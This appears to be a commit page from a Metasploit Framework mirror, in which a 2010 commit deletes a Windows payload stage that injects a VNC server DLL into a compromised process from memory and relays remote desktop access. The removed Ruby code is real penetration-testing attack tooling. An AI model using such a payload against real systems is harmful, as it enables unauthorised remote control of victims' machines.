infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Fixes #2132 by removing patchup version of vnc inject 

git-svn-id: file:///home/svn/framework3/trunk@10708 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-10-16 18:10:10 +00:00
parent 21bd23b9e6
commit 5e1d181da5
1 changed files with 0 additions and 119 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

119
modules/payloads/stages/windows/patchupvncinject.rb
View File

@ -1,119 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/payload/windows/dllinject'
require 'msf/base/sessions/vncinject'
###
#
# Injects the VNC server DLL and runs it over the established connection.
#
###
module Metasploit3
include Msf::Payload::Windows::DllInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows VNC Inject (skape/jt injection)',
'Version' => '$Revision$',
'Description' => 'Inject the VNC server DLL and run it from memory (staged)',
'Author' => [ 'skape', 'jt <jt@klake.org>' ],
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::VncInject))
sep = File::SEPARATOR
# Override the DLL path with the path to the meterpreter server DLL
register_options(
[
OptPort.new('VNCPORT',
[
true,
"The local port to use for the VNC proxy",
5900
]),
OptAddress.new('VNCHOST',
[
true,
"The local host to use for the VNC proxy",
'127.0.0.1'
]),
OptBool.new('AUTOVNC',
[
true,
"Automatically launch VNC viewer if present",
true
])
], self.class)
register_advanced_options(
[
OptBool.new('DisableCourtesyShell',
[
false,
"Disables the Metasploit Courtesy shell",
false
])
], self.class)
# Don't let people set the library name option
options.remove_option('LibraryName')
options.remove_option('DLL')
end
#
# The library name that we're injecting the DLL as can be random.
#
def library_name
Rex::Text::rand_text_alpha(8) + ".dll"
end
def library_path
File.join(Msf::Config.install_root, "data", "vncdll.dll")
end
#
# If the AUTOVNC flag is set to true, automatically try to launch VNC
# viewer.
#
def on_session(session)
# Calculate the flags to send to the DLL
flags = 0
flags |= 1 if (datastore['DisableCourtesyShell'])
# Transmit the one byte flag
session.rstream.put([ flags ].pack('C'))
# Set up the local relay
print_status("Starting local TCP relay on #{datastore['VNCHOST']}:#{datastore['VNCPORT']}...")
session.setup_relay(datastore['VNCPORT'], datastore['VNCHOST'])
print_status("Local TCP relay started.")
# If the AUTOVNC flag is set, launch VNC viewer.
if (datastore['AUTOVNC'] == true)
if (session.autovnc)
print_status("Launched vncviewer.")
else
print_error("Failed to launch vncviewer. Is it installed in your path?")
end
end
super
end
end